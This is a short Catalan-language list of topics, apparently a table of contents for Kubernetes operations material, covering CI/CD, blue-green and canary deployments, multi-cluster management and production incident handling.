- CI/CD amb Kubernetes
- Estratègies de Desplegament: Blue-Green i Canary
- Gestió Multi-Clúster
- Operació en Producció: Incidències, Runbooks i Costos
